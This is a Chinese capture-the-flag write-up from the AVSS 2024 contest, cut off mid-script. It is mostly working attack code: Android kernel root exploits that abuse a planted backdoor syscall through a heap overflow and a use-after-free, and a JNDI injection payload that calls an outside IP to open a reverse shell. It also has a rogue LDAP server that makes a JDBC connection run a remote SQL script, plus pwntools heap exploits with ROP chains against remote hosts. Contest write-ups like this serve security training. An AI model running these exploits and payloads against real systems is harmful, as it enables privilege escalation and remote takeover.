本次 AVSS 2024,我们 Polaris 战队排名第2。

排名 队伍 总分
1 sleeper 6589.13
2 Polaris 6121.72
3 凌武实验室 5957.54
4 来自东方的神秘力量 5745
5 emmmmmmm2024 5318.65
6 Nu1L 5239.56
7 L3H_Sec 4576.54
8 No_PJSK_No_Life 3755.36
9 OSR 3730.5
10 Ph0t1n1a 3285.12

KERNEL-INST

内核 patch 信息:

diff --git a/include/linux/syscalls.h b/include/linux/syscalls.h
index f2c973e8290e..c6789dd87075 100644
--- a/include/linux/syscalls.h
+++ b/include/linux/syscalls.h
@@ -64,6 +64,7 @@ struct old_linux_dirent;
 struct perf_event_attr;
 struct file_handle;
 struct sigaltstack;
+struct inst;
 
 #include <linux/types.h>
 #include <linux/aio_abi.h>
@@ -859,4 +860,5 @@ asmlinkage long sys_kcmp(pid_t pid1, pid_t pid2, int type,
 asmlinkage long sys_finit_module(int fd, const char __user *uargs, int flags);
 asmlinkage long sys_seccomp(unsigned int op, unsigned int flags,
 			    const char __user *uargs);
+asmlinkage long sys_runcode(int option, struct inst __user * inst);
 #endif
diff --git a/include/uapi/asm-generic/unistd.h b/include/uapi/asm-generic/unistd.h
index b422ad5d238b..bb8ca192d798 100644
--- a/include/uapi/asm-generic/unistd.h
+++ b/include/uapi/asm-generic/unistd.h
@@ -703,8 +703,11 @@ __SYSCALL(__NR_renameat2, sys_renameat2)
 #define __NR_seccomp 277
 __SYSCALL(__NR_seccomp, sys_seccomp)
 
+#define __NR_runcode 600
+__SYSCALL(__NR_runcode, sys_runcode)
+
 #undef __NR_syscalls
-#define __NR_syscalls 278
+#define __NR_syscalls 601
 
 /*
  * All syscalls below here should go away really,
diff --git a/kernel/Makefile b/kernel/Makefile
index 984bc58f76e6..2b59a010c2e4 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -10,7 +10,7 @@ obj-y     = fork.o exec_domain.o panic.o printk.o \
 	    kthread.o wait.o sys_ni.o posix-cpu-timers.o mutex.o \
 	    hrtimer.o rwsem.o nsproxy.o srcu.o semaphore.o \
 	    notifier.o ksysfs.o cred.o \
-	    async.o range.o groups.o lglock.o smpboot.o
+	    async.o range.o groups.o lglock.o smpboot.o vulnsys.o 
 
 ifdef CONFIG_FUNCTION_TRACER
 # Do not trace debug files and internal ftrace files
diff --git a/kernel/vulnsys.c b/kernel/vulnsys.c
new file mode 100644
index 000000000000..e818e18f4f37
--- /dev/null
+++ b/kernel/vulnsys.c
@@ -0,0 +1,224 @@
+#include <linux/kernel.h>
+#include <linux/syscalls.h>
+#include <linux/list.h>
+#include <linux/slab.h>
+#include <linux/uaccess.h>
+extern int selinux_enforcing;
+
+
+#define MAX_INST 256
+#define MEM_SIZE 512
+enum inst_type{
+    INST_NOP,
+    INST_ADD,
+    INST_SUB,
+    INST_MUL
+};
+
+noinline __int128 do_backdoor(__int128 input, __int128 *operands, unsigned long operand_num) {
+    struct cred *cred;
+    int ret;
+    cred = prepare_kernel_cred(NULL);
+	if (!cred) {
+        return -1;
+    }
+    ret = commit_creds(cred);
+    if (ret) {
+        return -1;
+    }
+    selinux_enforcing = 0;
+    return 0;
+}
+
+noinline __int128 do_add(__int128 input, __int128 *operands, unsigned long operand_num) {
+    __int128 ret = input;
+    int i = 0;
+    for (; i < operand_num; i++) {
+        ret += operands[i];
+    }
+    return ret;
+}
+
+noinline __int128 do_sub(__int128 input, __int128 *operands, unsigned long operand_num) {
+    __int128 ret = input;
+    int i = 0;
+    for (; i < operand_num; i++) {
+        ret -= operands[i];
+    }
+    return ret;
+}
+
+noinline __int128 do_mul(__int128 input, __int128 *operands, unsigned long operand_num) {
+    __int128 ret = input;
+    int i = 0;
+    for (; i < operand_num; i++) {
+        ret *= operands[i];
+    }
+    return ret;
+}
+
+noinline __int128 do_nop(__int128 input, __int128 *operands, unsigned long operand_num) {
+    return input;
+}
+
+struct inst{
+    __int128 (*func)(__int128, __int128*, unsigned long);
+    int idx;
+    enum inst_type type;
+    struct list_head list;
+    unsigned long operand_num;
+    __int128 operands[];
+}__attribute__((packed));
+
+DEFINE_SPINLOCK(inst_lock);
+int run = 0;
+struct inst* inst_head = NULL;
+int g_idx = 0;
+
+int add_inst(void){
+    struct inst *new_inst = NULL;
+    if(g_idx >= MAX_INST || run){
+        return -1;
+    }
+    new_inst = kmalloc(MEM_SIZE, GFP_KERNEL);
+    if(new_inst == NULL){
+        return -1;
+    }
+    new_inst->idx = g_idx++;
+    new_inst->type = INST_NOP;
+    new_inst->func = do_nop;
+    new_inst->operand_num = 0;
+    INIT_LIST_HEAD(&new_inst->list);
+    if(inst_head == NULL){
+        inst_head = new_inst;
+    }
+    else{
+        list_add_tail(&new_inst->list, &inst_head->list);
+    }
+    return new_inst->idx;
+}
+
+struct inst* find_inst(int idx){
+    struct inst* curr = NULL;
+    if(run){
+        return NULL;
+    }
+    list_for_each_entry(curr, &inst_head->list, list) {
+        if(curr->idx == idx){
+            return curr;
+        }
+    }
+    return NULL;
+}
+
+int edit_inst(struct inst __user * inst){
+    struct inst _inst;
+    struct inst* target = NULL;
+    if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){
+        return -1;
+    }
+    if(_inst.idx == inst_head->idx){
+        target = inst_head;
+    }
+    else{
+        target = find_inst(_inst.idx);
+    }
+    if(target == NULL){
+        return -1;
+    }
+    switch (_inst.type)
+    {
+        case INST_ADD:
+            target->func = do_add;
+            target->type = INST_ADD;
+            break;
+        case INST_SUB:
+            target->func = do_sub;
+            target->type = INST_SUB;
+            break;
+        case INST_MUL:
+            target->func = do_mul;
+            target->type = INST_MUL;
+            break;
+        case INST_NOP:
+            target->func = do_nop;
+            target->type = INST_NOP;
+            break;
+        default:
+            return -1;
+    }
+    if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){
+        return -1;
+    }
+    if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){
+        return -1;
+    }
+    target->operand_num = _inst.operand_num;
+    return 0;
+}
+
+int del_inst(struct inst __user * inst){
+    struct inst _inst;
+    struct inst* target = NULL;
+    if(inst_head == NULL || copy_from_user(&_inst, inst, sizeof(struct inst))){
+        return -1;
+    }
+    if(_inst.idx == inst_head->idx){
+        return -1;
+    }
+    else{
+        target = find_inst(_inst.idx);
+    }
+    if(target == NULL){
+        return -1;
+    }
+    list_del(&target->list);
+    kfree(target);
+    return 0;
+}
+
+int run_code(void){
+    struct inst* curr = NULL;
+    struct inst* ptr = NULL;
+    __int128 input = 0;
+    __int128 output = 0;
+    if(run || inst_head == NULL){
+        return -1;
+    }
+    run = 1;
+    list_for_each_entry(curr, &inst_head->list, list) {
+        output = curr->func(input, curr->operands, curr->operand_num);
+        input = output;
+    }
+    list_for_each_entry_safe(curr, ptr, &inst_head->list, list) {
+        list_del(&curr->list);
+        kfree(curr);
+    }
+    kfree(inst_head);
+    return 0;
+}
+
+asmlinkage long sys_runcode(int option, struct inst __user * inst)
+//SYSCALL_DEFINE2(runcode, int, option, struct inst __user *, inst)
+{
+    long ret = 0;
+    spin_lock(&inst_lock);
+    switch (option) {
+        case 0:
+            ret = add_inst();
+            break;
+        case 1:
+            ret = del_inst(inst);
+            break;
+        case 2:
+            ret = edit_inst(inst);
+            break;
+        case 3:
+            ret = run_code();
+            break;
+        default:
+            ret = -1;
+    }
+    spin_unlock(&inst_lock);
+    return ret;
+}

漏洞1

下面的代码中的 copy_from_user 有 8 字节的溢出,从而导致 Heap Overflow 漏洞,将 _inst.operand_num 设置为 30 即可触发。

+int edit_inst(struct inst __user * inst){
    ...
+    if(_inst.operand_num > round_up(MEM_SIZE-sizeof(struct inst), sizeof(__int128))/sizeof(__int128)){
+        return -1;
+    }
+    if(copy_from_user(target->operands, inst->operands, _inst.operand_num * sizeof(__int128))){
+        return -1;
+    }
+    target->operand_num = _inst.operand_num;
+    return 0;
+}

漏洞2

run_code 功能会 kfree(inst_head),但是 edit_inst 功能仍然可以编辑 inst_head,从而导致 UAF 漏洞。

Android 7

使用 Heap Overflow 修改函数指针为 do_backdoor 。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <sys/mman.h>

enum inst_type{
    INST_NOP,
    INST_ADD,
    INST_SUB,
    INST_MUL
};

struct inst{
    __int128 (*func)(__int128, __int128*, unsigned long);
    int idx;
    enum inst_type type;
    size_t* list[2];
    unsigned long operand_num;
    __int128 operands[];
};

int main()
{
    struct inst *args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);
    for(int i = 0; i < 254; i++)
    {
        syscall(600, 0, NULL); // add_inst
    }
    
    syscall(600, 0, NULL); // add_inst
    syscall(600, 0, NULL); // add_inst
    args->idx = 254;
    args->type = INST_ADD;
    args->operand_num = 30;
    *(size_t*)(((char*)args) + 512) = 0xffffffc0000c3140;
    for(int i = 128; i < 256; i+=2)
    {
        args->idx = i;
        syscall(600, 2, args); // edit_inst

    }
    syscall(600, 3, NULL); // run_code

    printf("Uid: %d\n", getuid());
    int fd = open("/system/flag", O_RDONLY);
    if (fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    char buf[0x100] = {0};
    read(fd, buf, sizeof(buf));
    puts(buf);

    return 0;
}

Android 11

使用 UAF 漏洞劫持 current_task 。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>

enum inst_type{
    INST_NOP,
    INST_ADD,
    INST_SUB,
    INST_MUL
};

struct inst{
    __int128 (*func)(__int128, __int128*, unsigned long);
    int idx;
    enum inst_type type;
    size_t* list[2];
    unsigned long operand_num;
    __int128 operands[];
};

struct inst *args;
int pipe_fd[2];

struct pipe_buffer {
    size_t page;
    unsigned int offset;
    unsigned int len;
    size_t ops;
    unsigned int flags;
    unsigned long private;
};

size_t write_word(size_t addr, size_t value)
{
    size_t result = 0;
    struct pipe_buffer *pipe_ptr;

    memset(args, 0, 512);
    args->idx = 0x00001000;
    args->type = INST_ADD;
    args->operand_num = 29;
    pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);
    pipe_ptr->ops = 0xFFFFFFC01161A668;
    pipe_ptr->page = (((addr & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;
    pipe_ptr->len = 0;
    pipe_ptr->flags = 0;
    pipe_ptr->offset = addr & 0xfff;

    syscall(600, 2, args); // edit_inst // UAF
    write(pipe_fd[1], &value, sizeof(value));
    return result;
}

size_t read_word(size_t target)
{
    size_t result = 0;
    struct pipe_buffer *pipe_ptr;

    memset(args, 0, 512);
    args->idx = 0x00001000;
    args->type = INST_ADD;
    args->operand_num = 29;
    pipe_ptr = (struct pipe_buffer *)(((char *)args) + 40);
    pipe_ptr->ops = 0xFFFFFFC01161A668;
    pipe_ptr->page = (((target & (~0xfff)) - 0xffffffc008000000)/0x1000) * 0x40;
    pipe_ptr->len = 0x1000;
    pipe_ptr->flags = 0;
    pipe_ptr->offset = target & 0xfff;

    syscall(600, 2, args); // edit_inst // UAF
    read(pipe_fd[0], &result, sizeof(result));
    return result;
}

#define INIT_TASK 0xffffffc011953e00
#define TASK_OFFSET 0x488
#define PID_OFFSET 0x588
#define PTR_CRED_OFFSET 0x738
size_t get_current_task()
{
    size_t task = INIT_TASK;
    size_t result = 0;
    int i = 0;
    int pid;
    int current_task_pid = getpid();

    while(result == 0 && i++ < 128)
    {
        task = read_word(task + TASK_OFFSET + 8) - TASK_OFFSET;
        printf("task: %#lx\n", task);
        if(task == INIT_TASK)
        {
            break;
        }
        pid = read_word(task + PID_OFFSET);
        printf("pid: %d\n", pid);
        if(pid == current_task_pid)
        {
            result = task;
        }
    }

    return result;
}

int main()
{
    char buf[0x2000] = {0};
    struct pipe_buffer *pipe_ptr;

    setbuf(stdout, NULL);

    pipe(pipe_fd);
    args = mmap((void *)0xabcd0000, 0x1000, 7, 0x22, -1, 0);
    syscall(600, 0, NULL); // add_inst -> inst_head
    syscall(600, 3, NULL); // run_code // kfree -> kmalloc-512
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000 * 8);

    write(pipe_fd[1], buf, 0x1800);
    read(pipe_fd[0], buf, 0x1001);

    size_t current_task = get_current_task();

    printf("current_task: %#lx\n", current_task);

    size_t current_cred = read_word(current_task + PTR_CRED_OFFSET);
    printf("current_cred: %#lx\n", current_cred);

    for(int i = 0; i < 4; i ++)
    {
        write_word(current_cred + 4 + i * 8, 0);
    }

    system("/system/bin/sh");
    
    return 0;
}

Vehicle-FORMULA

FORMULA_KARTING

*#2#04200525#*进入2查看HID码

image-20240422102943808

native层HID会作为hmac_sha256的参数,然后经过rc4,最后和time比较(1s/10000)

image-20240422103447774

//sha256.cc

#include <cryptopp/hmac.h>
#include <cryptopp/sha.h>
#include <cryptopp/filters.h>
#include <cryptopp/hex.h>
#include <iostream>
#include <string>
#include <vector>

std::string hmac_sha256(const std::vector<unsigned char> &key, const std::string &data) {
    byte digest[CryptoPP::SHA256::DIGESTSIZE];
    CryptoPP::HMAC<CryptoPP::SHA256> hmac(key.data(), key.size());
    hmac.Update((const byte*)data.c_str(), data.size());
    hmac.Final(digest);

    std::string output;
    CryptoPP::StringSource ss(digest, sizeof(digest), true, new CryptoPP::HexEncoder(new CryptoPP::StringSink(output)));
    return output;
}

int main() {
    std::vector<unsigned char> key = {0x22, 0xC, 0x4C, 0x37, 4, 0x59, 0x43, 9, 0x17, 8, 0x34, 0x5D, 0x47, 6, 0x29, 5};
    unsigned long long val = 2250515364;
    std::string data = std::to_string(val);
    // std::cout << data << std::endl;
    std::string result = hmac_sha256(key, data);
    std::cout << result << std::endl;
    return 0;
}
// rc4.cc

#include <vector>
#include <iostream>
#include <iomanip>

struct rc4_state {
    int x, y;
    unsigned char m[256];
};

void rc4_setup(rc4_state *s, unsigned char *key, int length) {
    s->x = 0;
    s->y = 0;
    for (int i = 0; i < 256; ++i)
        s->m[i] = i;
    int j = 0;
    for (int i = 0; i < 256; ++i) {
        j = (j + s->m[i] + key[i % length]) & 0xFF;
        std::swap(s->m[i], s->m[j]);
    }
}

void rc4_crypt(rc4_state *s, unsigned char *data, int length) {
    for (int i = 0; i < length; ++i) {
        s->x = (s->x + 1) & 0xFF;
        s->y = (s->y + s->m[s->x]) & 0xFF;
        std::swap(s->m[s->x], s->m[s->y]);
        data[i] ^= s->m[(s->m[s->x] + s->m[s->y]) & 0xFF];
    }
}

int main() {
    // std::vector<unsigned char> key = { 0xee,0xbf,0xd6,0x68,0xa7,0xa6,0x56,0x30,0x03,0x0d,0xa3,0x11,0x99,0xc0,0x1a,0x76};
    std::vector<unsigned char> key = { 0x3d,0x45,0xa0,0x4f,0x87,0xd2,0x0b,0x45,0x13,0xb6,0x2f,0xdb,0xeb,0xfb,0x06,0xf7};
    // std::vector<unsigned char> encrypted_data = {0x6a,0x9d,0x02,0x0};  
    std::vector<unsigned char> encrypted_data = { 0x11,0x1e,0x92,0x20 }; 

    rc4_state s;
    rc4_setup(&s, key.data(), key.size());
    rc4_crypt(&s, encrypted_data.data(), encrypted_data.size());

    std::cout << "Decrypted data: ";
    for (auto byte : encrypted_data) {
        // std::cout << static_cast<char>(byte);
        std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)byte;
    }
    std::cout << '\n';

    return 0;
}
//time.cc

#include <iostream>
#include <chrono>

int main() {
    long long v13 = 131369; 

    std::chrono::time_point<std::chrono::system_clock> now = std::chrono::system_clock::now();
    std::chrono::microseconds microsec = std::chrono::duration_cast<std::chrono::microseconds>(now.time_since_epoch());
    long long rep = microsec.count();
    std::chrono::seconds sec = std::chrono::duration_cast<std::chrono::seconds>(microsec);
    bool v19 = sec.count() / 10000 == v13;

    std::cout << "Microseconds since epoch: " << rep << std::endl;
    std::cout << "Seconds since epoch: " << sec.count() << std::endl;
    std::cout << "Seconds /10000 since epoch: " << sec.count() / 10000 << std::endl;

    return 0;
}

old-log

jdk8

jndimap
https://github.com/X1r0z/JNDIMap
${jndi:ldap://106.54.209.118:1389/Deserialize/Jackson/ReverseShell/vps/4444}

即可

jdk11

同 jdk8 。

jdk17

ldapServer打tomcat的jdbc的jndi注入

package com;  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import com.unboundid.util.Base64;  
  
import javax.naming.Reference;  
import javax.naming.StringRefAddr;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
import java.text.ParseException;  
  
public class LDAPServer{  
    private static final String LDAP_BASE = "dc=example,dc=com";  
  
    public static void main (String[] args) {  
  
        String url = "http://127.0.0.1:8000/#Evil";  
        int port = 1389;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen",  
                    InetAddress.getByName("0.0.0.0"),  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port);  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
        /**  
         * {@inheritDoc}  
         *         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
         */        @Override  
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "Exploit");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.jdbc.pool.DataSourceFactory",null);  
            String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://106.54.209.118:4444/poc.sql'";  
            ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));  
            ref.add(new StringRefAddr("url",url));  
            ref.add(new StringRefAddr("username","root"));  
            ref.add(new StringRefAddr("password","password"));  
            ref.add(new StringRefAddr("initialSize","1"));  
  
            e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));  
  
  
//             Payload2: 返回序列化 Gadget//            try {  
//                e.addAttribute("javaSerializedData", Base64.decode("..."));  
//            } catch (ParseException exception) {  
//                exception.printStackTrace();  
//            }  
  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
  
    }  
}

poc.sql是

payload

http://13.212.61.218:48080/welcome?name=%24%7Bjndi%3Aldap%3A%2F%2F106.54.209.118%3A1389%2Ftest%7D

flag

MTE

BBO_BB

漏洞点在 edit 功能的负向溢出,攻击 tcache struct ,泄露栈地址后打栈读取 /dev/vda 即可

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')

remote_ip = '52.77.241.34'
remote_port = 10087

import string
import itertools
import re
from pwn import *
from hashlib import sha256

p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
def generate_combinations(length):
    if length == 0:
        yield ''
    else:
        for char in characters:
            for suffix in generate_combinations(length - 1):
                yield char + suffix
for comb in generate_combinations(5):
    proof = comb + rev
    digest = sha256(proof.encode("utf8")).hexdigest()
    if target_digest == digest:
        result = comb
        break
p.sendlineafter(b'xxxxx:', result) 

#p = remote('127.0.0.1', 10088)
libc = ELF('lib/libc.so.6')

def add(size, data):
    sla(b'choice: ', b'1')
    sla(b'size: ', str(size))
    if len(data) < size:
        data += b'\n'
    sa(b'content: ', data)
    
def edit(idx, offset, value):
    sla(b'choice: ', b'2')
    sla(b'index: ', str(idx))
    sla(b'Offset: ', str(offset))
    sla(b'content: ', str(value))
    
def free(idx):
    sla(b'choice: ', b'3')
    sla(b'index: ', str(idx))


#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])
#p = process(['qemu-aarch64', '-L', './', 'pwn'])

for kk in range(5):
    add(0x500, b'a') #index 0
    add(0x10, b'a') #index 1
    free(0)
    add(0x500, b'') #index 0

    p.recvuntil(b'\r\x0a\x0d')
    libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x193b0a

    #libc_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x1c5b0a + 0x32000

    free_hook = libc_base + libc.sym['__free_hook']
    system, binsh = get_sb()
    printf = libc_base + libc.sym['printf']
    environ = libc_base + libc.sym['__environ']
    stderr = libc_base + libc.sym['_IO_2_1_stderr_']
    IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']

    add(0x100, b'a') #index 2
    add(0x100, b'a') #index 3
    free(2)
    free(3)
    add(0x10, b'a') #index 2
    add(0x10, b'a') #index 3

    for i in range(0x6):
        edit(3, -0x9a8 + i + 0x1b0, (environ - 0x18 >> i*8) & 0xFF)
        
    add(0x100, b'a'*0x17) #index 4

    p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
    p.recvuntil(b'a'*0x17 + b'\x0d\x0a')
    stack = u64(p.recv(6).ljust(8, b'\x00')
    )
    #p.recvuntil(b'a'*0x17 + b'\n')
    #stack = u64(p.recv(5).ljust(8, b'\x00'))

    for i in range(0x6):
        edit(3, -0x9a8 + i + 0x1b0, (stack - 0x198 >> i*8) & 0xFF)

    #0x000000000003e18c : ldr x2, [sp, #0x38] ; and w1, w1, #1 ; str x2, [x19] ; str w1, [x19, #8] ; ldr x19, [sp, #0x10] ; ldp x29, x30, [sp], #0x50 ; ret
    # 0x0000000000120894 : add x0, sp, #0x10 ; blr x2 ; ldp x29, x30, [sp], #0x40 ; ret

    lg('stack', stack)
    pl = b'a'*8 + p64(libc_base + 0x3e18c)
    pl += b'b'*0x8 + p64(libc_base + 0x0000000000120894) + b'c'*0x28 + p64(system)
    pl = pl.ljust(0x70 ,b'd') + b'cat /dev/vda\x00'

    add(0x100, pl) #index 4

    lg('libc_base', libc_base)
    lg('free_hook', free_hook)
    lg('system', system)
    lg('stderr', stderr)
    lg('IO_obstack_jumps', IO_obstack_jumps)
    lg('stack', stack)

    sla(b'choice: ', b'4')

    p.recvuntil(b'Bye.\r\n')

    scret = p.recvuntil(b'\x00')[:-1]
    print('scret ----> ', scret, len(scret))
    sla(b'Give me secret:', scret)

while 1 : pr()

BBO_PT

相较于 BBO_BB 开启了 MTE 保护,在原有 BBO_BB 的解题方法上

  1. 负向溢出修改子堆块大小,让其能够正向溢出
  2. 负向溢出去除子堆块指针的高位
  3. 在 environ 上面写 size 头 0x111,不让 malloc 时候给堆块打标签时候会访问到不可访问地址,申请到栈时候同理,但是 size 头可以有由写进去的 choice 代替,调试可知

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='aarch64', log_level='debug')
#p = process('./vuln')

remote_ip = '52.77.241.34'
remote_port = 10088

import string
import itertools
import re
from pwn import *
from hashlib import sha256

p = remote(remote_ip, remote_port)
rev = p.recvuntil(b' == ').decode()
pattern = r'xxxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
target_digest = p.recv(64).decode()
characters = string.ascii_letters + string.digits
def generate_combinations(length):
    if length == 0:
        yield ''
    else:
        for char in characters:
            for suffix in generate_combinations(length - 1):
                yield char + suffix
for comb in generate_combinations(5):
    proof = comb + rev
    digest = sha256(proof.encode("utf8")).hexdigest()
    if target_digest == digest:
        result = comb
        break
p.sendlineafter(b'xxxxx:', result) 

libc = ELF('lib/libc.so.6')

def add(size, data):
    sla(b'choice: ', b'1\x00\x00\x00\x00\x00\x00\x00')
    sla(b'size: ', str(size))
    if len(data) < size:
        data += b'\n'
    sa(b'content: ', data)
    
def edit(idx, offset, value):
    sla(b'choice: ', b'2')
    sla(b'index: ', str(idx))
    sla(b'Offset: ', str(offset))
    sla(b'content: ', str(value))
    
def free(idx):
    sla(b'choice: ', b'3')
    sla(b'index: ', str(idx))

#p = process(['qemu-aarch64', '-g', '1234', '-L', './', 'pwn'])
#p = process(['GLIBC_TUNABLES="glibc.mem.tagging=1"', 'qemu-aarch64', '-L', './', 'pwn'])
#p = process(['./run.sh', 'rootfs.img'])

env = {'GLIBC_TUNABLES': 'glibc.mem.tagging=1'}
cmd1 = ['qemu-aarch64', '-L', './', './pwn']
cmd2 = ['qemu-aarch64', '-L', './', '-g', '1234', './pwn']
#p = process(cmd1, env=env)

#p = remote('127.0.0.1', 10088)

mode = 1

for kk in range(5):
    add(0x500, b'a') #index 0
    add(0x500, b'') #index 1
    add(0x10, b'a') #index 2
    free(0)
    free(1)
    add(0x500, b'a'*7) #index 0

    if mode:
        p.recvuntil(b'a'*7 + b'\x0d\x0a')
        p.recvuntil(b'a'*7 + b'\x0d\x0a')
        heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x8e0
    else:
        p.recvuntil(b'a'*7 + b'\n')
        heap_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x8e0

    add(0x500, b'') # index 1
    if mode:
        p.recvuntil(b'\r\x0a\x0d')
        libc_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x193b0a
    else:
        libc_base = u64(p.recv(5).ljust(8, b'\x00')) - 0x1c5b0a + 0x32000

    free_hook = libc_base + libc.sym['__free_hook']
    system, binsh = get_sb()
    printf = libc_base + libc.sym['printf']
    environ = libc_base + libc.sym['__environ']
    stderr = libc_base + libc.sym['_IO_2_1_stderr_']
    IO_obstack_jumps = libc_base + libc.sym['_IO_obstack_jumps']

    add(0x100, b'a') #index 3
    free(3)
    add(0x10, b'a') #index 3
    add(0x10, b'a') #index 4
    
    for i  in range(3):
        edit(3, -0x10 + i, 0xff)
    
    edit(3, -0x1, 0)
    #pause()
    lg('environ', environ)
    lg('libc_base', libc_base)
    lg('heap_base', heap_base)
    lg('stderr', stderr)
    
    edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60, 0x11)
    edit(3, environ - heap_base - 0xe10 - 0x20 - 0x100 + 0x60 + 1, 0x1)
    
    for i in range(0x8):
